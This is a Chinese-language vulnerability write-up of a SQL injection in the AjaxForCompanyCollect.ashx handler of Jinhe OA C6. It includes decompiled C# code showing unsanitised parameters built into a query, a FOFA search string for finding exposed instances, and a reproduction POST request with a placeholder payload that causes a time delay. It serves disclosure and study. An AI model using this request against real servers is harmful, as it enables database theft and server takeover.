漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 AjaxForCompanyCollect.ashx 接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

根据 AjaxForCompanyCollect.ashx 的源码，在 bin 目录下查找 JHBase.Web.CostControl.dll 将其进行反编译后找到 AjaxForCompanyCollect 的处理逻辑

public void ProcessRequest(HttpContext context)
{
  context.Response.ContentType = "text/plain";
  string str1 = context.Request["strType"];
  string str2 = context.Request["strCollectType"];
  string str3 = context.Request["strAppType"];
  string strYear = context.Request["strYear"];
  if (string.op_Equality(str1, "setGoBack"))
    return;
  if (string.op_Equality(str1, "getCollectList"))
  {
    string strTime = context.Request["strTime"];
    if (string.op_Equality(str3, "start"))
    {
      this.strSql = $"select * from BudgetCollectManage where (CollectState = 0 or CollectState = 1) and BudgetYear = {strYear} and BudgetTime = {strTime}";
      DataTable dataTable = this.db.ExecSQLReDataTable(this.strSql);
      if (dataTable != null && ((InternalDataCollectionBase) dataTable.Rows).Count > 0)
        context.Response.Write("no");
      else
        context.Response.Write(this.GetCompanyCollectList(strYear, strTime, ""));
    }
    else
    {
      string strCollectId = context.Request["strCollectId"];
      context.Response.Write(this.GetCompanyCollectList(strYear, "", strCollectId));
    }
  }
  else if (string.op_Equality(str1, "getNotCollect"))
  {
    if (string.op_Equality(str3, "start"))
    {
      string strTime = context.Request["strTime"];
      context.Response.Write(this.GetNotCollectNew(strYear, strTime));
    }
    else
    {
      string strAppId = context.Request["strCollectId"];
      context.Response.Write(this.GetNotCollectEdit(strAppId));
    }
  }
  else
  {
    if (!string.op_Equality(str1, "getCollectTime"))
      return;
    context.Response.Write(this.GetCollectTime(strYear));
  }
}

根据strType的值进入不同的处理流程

当 strType=getCollectList strAppType=start时，strYear、strTime被直接拼接进SQL语句执行，从而造成SQL注入漏洞。

string strTime = context.Request["strTime"];
if (string.op_Equality(str3, "start"))
{
  this.strSql = $"select * from BudgetCollectManage where (CollectState = 0 or CollectState = 1) and BudgetYear = {strYear} and BudgetTime = {strTime}";

漏洞复现

POST /c6/JHSoft.Web.CostControl/Collect/Handlers/AjaxForCompanyCollect.ashx HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/x-www-form-urlencoded

strType=getCollectList&strTime=SQLI_POC&strAppType=start&strYear=2012

成功延时 4 秒